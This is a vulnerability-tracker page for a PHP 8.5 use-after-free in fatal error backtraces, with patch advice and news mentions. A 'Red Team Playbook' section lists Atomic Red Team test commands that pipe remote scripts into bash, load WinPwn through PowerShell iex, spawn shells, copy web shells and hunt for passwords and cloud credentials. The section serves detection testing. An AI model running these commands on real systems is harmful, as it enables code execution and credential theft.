CVE-2026-129182
Overview
This vulnerability is a use-after-free condition in the PHP Group PHP interpreter. It arises from improper repopulation of the last_fatal_error_backtrace global variable after the executor has been cleaned up during request shutdown. The flaw specifically affects the executor shutdown sequence handling of fatal error backtraces when certain INI settings are restored, impacting PHP versions prior to 8.5.13.
Vulnerability Description
Use-after-free via repopulation of last_fatal_error_backtrace global after shutdown. A fatal error raised while modified INI settings are restored during request shutdown can repopulate the stored fatal error backtrace after the executor has been cleaned up. The request memory is then freed, and a diagnostic emitted before executor initialization in a later request handled by the same PHP-FPM or mod_php worker can access the stale backtrace. The shutdown error requires per-path configuration of max_memory_limit, or of zlib.output_compression together with output_handler (which .user.ini can also set). The early diagnostic requires Apache per-directory configuration or, for PHP-FPM, a PHP_VALUE or PHP_ADMIN_VALUE parameter sent by the front end. This can cause memory corruption and worker crashes, and may allow remote code execution. This issue affects PHP versions 8.5.* before 8.5.13.
Impact
An attacker can exploit this vulnerability without authentication or user interaction by crafting requests that trigger fatal errors during shutdown with specific INI configurations. This leads to memory corruption and worker process crashes, potentially resulting in remote code execution within the PHP-FPM or mod_php worker context. The consequence is full system compromise or denial of service in environments running vulnerable PHP versions with affected configurations.
Solution
Apply the patch provided in PHP version 8.5.13 or later as detailed in the official PHP security advisory at https://github.com/php/php-src/security/advisories/GHSA-2fjv-p558-g82m. Administrators should upgrade affected PHP installations to 8.5.13 or newer. No alternative workarounds are documented; thus, timely patching is required to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (27)
27 mentions from 21 sources in the last 7 days BuzzFactor 94 / 100
-
social bsky.app @icsda.bsky.social 2026-11-20 16:15 UTC完整說明與處置步驟 👉 https://icsda.org.tw/php-group-cve-2026-126714-cve-2026-129182-cve-2026-129289/Open source
-
social bsky.app @icsda.bsky.social 2026-11-20 16:14 UTCPHP 出現三個 CVSS v4.0 9.2 分的弱點:CVE-2026-126714、CVE-2026-129182、CVE-2026-129289。其中 CVE-2026-126714 影響預設的 files session handler。 修補版本為 8.2.36、8.3.37、8.4.28、8.5.13,請依分支更新。截至 11/20 來源未提到已遭利用。 #資安 #PHP #漏洞Open source
-
social bsky.app @buherator.bsky.social 2026-11-20 13:37 UTCUse-after-free in magic method backtraces can lead to remote code execution (CVE-2026-129474) github.com -> Use-after-free via repopulation of last_fatal_error_backtrace global after shutdown (CVE-2026-129182) github.com -> #PHP Original->Open source
-
social bsky.app @cvemon.bsky.social 2026-11-20 13:07 UTCCVE-2026-129182 is trending. Hype score 19, currently #4 on cvemon. Use-after-free via repopulation of last_fatal_error_backtrace global after shutdown. A fatal error raised while modified INI settings are restored during request shutdown…Open source
-
news hkcert.org 2026-11-20 02:39 UTCPHP Multiple Vulnerabilities - Hong Kong Computer Emergency Response Team Coordination CentreOpen source
-
news news.lavx.hu 2026-11-20 00:32 UTCPHP patches seven critical flaws that expose servers to code execution - news.lavx.huOpen source
-
news rescana.com 2026-11-19 23:15 UTCPHP 8.5.13, 8.4.28, 8.3.37 and 8.2.36 Fix 17 Flaws; PHP 8.6.0 Ships: Patch Now - RescanaOpen source
-
news darkreading.com 2026-11-19 21:37 UTCCritical PHP Flaws Allow Code Execution, But Don't Panic 'PHP2Shell'-Style - Dark ReadingOpen source
-
news mlq.ai 2026-11-19 19:41 UTCPHP patches 18 flaws across all supported versions, including seven critical bugs that can allow remote code execution - MLQ.aiOpen source
-
news blog.checkpoint.com 2026-11-19 19:12 UTCNew PHP Vulnerabilities: What Organizations Need to Know and How Check Point Customers Are Protected - Check Point BlogOpen source
-
news cyberkendra.com 2026-11-19 17:50 UTCphpAfterShell CVE-2026-126714: PHP RCE Bypasses PHP2Shell Fix - Cyber KendraOpen source
-
news pasqualepillitteri.it 2026-11-19 17:07 UTCPHP 8.6 arrives with partial functions, clamp() and a new polling API - Pasquale PillitteriOpen source
-
social infosec.exchange @116769913619325742 2026-11-19 17:02 UTCCVE-2026-115560, CVE-2026-126714, CVE-2026-129182: PHP Group patched three PHP flaws that may allow remote code execution. Two session bugs, a serializer mismatch and partially overwritten session files, affect 8.2 to 8.5. A use-after-free…Open source
-
social bsky.app @suriq.io 2026-11-19 17:02 UTCCVE-2026-115560, CVE-2026-126714, CVE-2026-129182: PHP Group fixed three PHP flaws, two in session handling and one use-after-free, that may allow remote code execution. No exploitation confirmed. Update to PHP 8.2.36, 8.3.37, 8.4.28 or 8.…Open source
-
social bsky.app @stackflag.bsky.social 2026-11-19 16:30 UTCCVE-2026-129182 - php In PHP 8.5 versions before 8.5.13, an error that occurs while cleaning up configuration settings can leave a stale error trace in memory. When the next web request runs on the same worker,… Too many irrelevant or conf…Open source
-
code gist.github.com yusuke-fujioka 2026-11-19 16:16 UTC#!/bin/bash # PHP 2026-11-19 セキュリティリリース 設定チェック(読み取り専用) # 対応環境: cPanel(ea-php) / CloudLinux(alt-php) / Plesk / Ubuntu標準PHP-FPM を自動検出 # 使い方: bash php-check-20261119.sh 通常チェック # bash php-check-20261119.sh --scan-home ユーザー領域の .user.ini 等も走査(時間…Open source
-
news demokratis.co.id 2026-11-19 16:13 UTCPHP Patches Critical Flaws That Enable Remote Code Execution - Demokratis.co.idOpen source
-
social bsky.app @cdn0x12.scg.owu.one 2026-11-19 16:05 UTC#CDN的收藏夹 FW: bupt.moe - Telegram #security PHP 大型更新,请大家及时更新到 8.5.13 节选了一些比较重要的安全事项 CVE-2026-129474 RCE 缓解措施: `zend.exception_ignore_args=1` 以及 `fatal_error_backtraces=0` CVE-2026-129182 RCE 缓解措施: `fatal_error_backtraces=0` CVE-2026-129538…Open source
-
news securityweek.com 2026-11-19 15:54 UTCPHP Patches Seven Critical RCE Vulnerabilities - SecurityWeekOpen source
-
news cybernews.com 2026-11-19 15:49 UTCPHP plagued by critical RCE vulnerabilities again as security patches released for all branches - CybernewsOpen source
-
news glitchwire.com 2026-11-19 15:34 UTCPHP Ships Second Emergency Patch in a Month as AI-Discovered Flaw Joins Incomplete PHP2Shell Fixes - GlitchwireOpen source
-
news infosecurity-magazine.com 2026-11-19 15:28 UTCPHP Releases Patches to Fix 18 Vulnerabilities - Infosecurity MagazineOpen source
-
social bsky.app @hmier.bsky.social 2026-11-19 15:18 UTCPHP Fixed GHSA-8mjj-2r7p-4hg2 (Use-after-free in magic method backtraces can lead to remote code execution). (CVE-2026-129474) Fixed GHSA-2fjv-p558-g82m (Use-after-free via repopulation of last_fatal_error_backtrace global after shutdown).…Open source
-
news thehackernews.com 2026-11-19 15:13 UTCPHP Fixes 7 Critical Flaws, Including Bugs That Could Allow Remote Code Execution - The Hacker NewsOpen source
-
social infosec.exchange @117202824925377048 2026-11-19 14:51 UTCPHP security releases are out: https://www. php.net/archive/2026.php#2026- 11-19-4 Core has two use-after-frees, CVE-2026-129474 and CVE-2026-129182 that are 9.2 critical Date has a use-after-free CVE-2026-129496 at 9.2 critical FPM has re…Open source
-
news cybersecuritynews.com 2026-11-19 14:47 UTCPHP Warns of Critical Security Flaws Affecting All Supported Versions, Urges Users to Update - CyberSecurityNewsOpen source
-
news blog.checkpoint.com 2026-11-19 12:12 UTCNew PHP Vulnerabilities: What Organizations Need to Know and How Check Point Customers Are Protected - Check Point BlogOpen source
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-129182 |
| github.com |
GitHub CVE
vendor-advisory
|
https://github.com/php/php-src/security/advisories/GHSA-2fjv-p558-g82m |